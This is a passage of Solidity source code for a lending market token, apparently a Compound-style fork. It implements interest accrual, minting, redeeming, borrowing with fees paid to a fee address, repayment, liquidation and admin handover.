return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockNumber = currentBlockNumber;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
uint actualMintAmount;
}
/**
* @notice User supplies assets into the market and receives cTokens in exchange
* @dev Assumes interest has already been accrued up to the current block
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
/* Fail if mint not allowed */
uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0);
}
MintLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The gToken must handle variations between ERC-20 and ETH underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the gToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* We get the current exchange rate and calculate the number of cTokens to be minted:
* mintTokens = actualMintAmount / exchangeRate
*/
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED");
/*
* We calculate the new total supply of cTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED");
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED");
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return (uint(Error.NO_ERROR), vars.actualMintAmount);
}
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0);
}
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming cTokens
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
/**
* @notice User redeems cTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current block
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
/* exchangeRate = invoke Exchange Rate Stored() */
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
/*
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
/* Fail if redeem not allowed */
uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/* Fail gracefully if protocol has insufficient cash */
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The gToken must handle variations between ERC-20 and ETH underlying.
* On success, the gToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
uint fee = 0;
uint redeemAmountMinusFee = 0;
(vars.mathErr, fee) = mulUInt(vars.redeemAmount, redeemFee);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, fee) = divUInt(fee, TEN_THOUSAND);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, redeemAmountMinusFee) = subUInt(vars.redeemAmount, fee);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
// doTransferOut(redeemer, vars.redeemAmount);
// vars.redeemAmount = redeemAmountMinusFee + fee
doTransferOut(redeemer, redeemAmountMinusFee);
doTransferOut(feeTo, fee);
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
/* We call the defense hook */
comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
/* Fail if borrow not allowed */
uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The gToken must handle variations between ERC-20 and ETH underlying.
* On success, the gToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
uint fee = 0;
uint borrowAmountMinusFee = 0;
(vars.mathErr, fee) = mulUInt(borrowAmount, borrowFee);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, fee) = divUInt(fee, TEN_THOUSAND);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, borrowAmountMinusFee) = subUInt(borrowAmount, fee);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
doTransferOut(borrower, borrowAmountMinusFee);
doTransferOut(feeTo, fee);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a Borrow event */
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
/* Fail if repayBorrow not allowed */
uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0);
}
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The gToken must handle variations between ERC-20 and ETH underlying.
* On success, the gToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED");
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED");
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this gToken to be liquidated
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(address borrower, uint repayAmount, GTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = cTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this gToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, GTokenInterface cTokenCollateral) internal returns (uint, uint) {
/* Fail if liquidate not allowed */
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify cTokenCollateral market's block number equals current block number */
if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint(-1)) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint seizeError;
if (address(cTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens);
/* We call the defense hook */
comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another gToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed gToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another GToken.
* Its absolutely critical to use msg.sender as the seizer gToken and not a parameter.
* @param seizerToken The contract seizing the collateral (i.e. borrowed gToken)
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
/* Fail if seize not allowed */
uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
/*
* We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
* borrowerTokensNew = accountTokens[borrower] - seizeTokens
* liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
*/
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
/* Emit a Transfer event */
emit Transfer(borrower, liquidator, seizeTokens);
/* We call the defense hook */
comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets a new comptroller for the market
* @dev Admin function to set a new comptroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
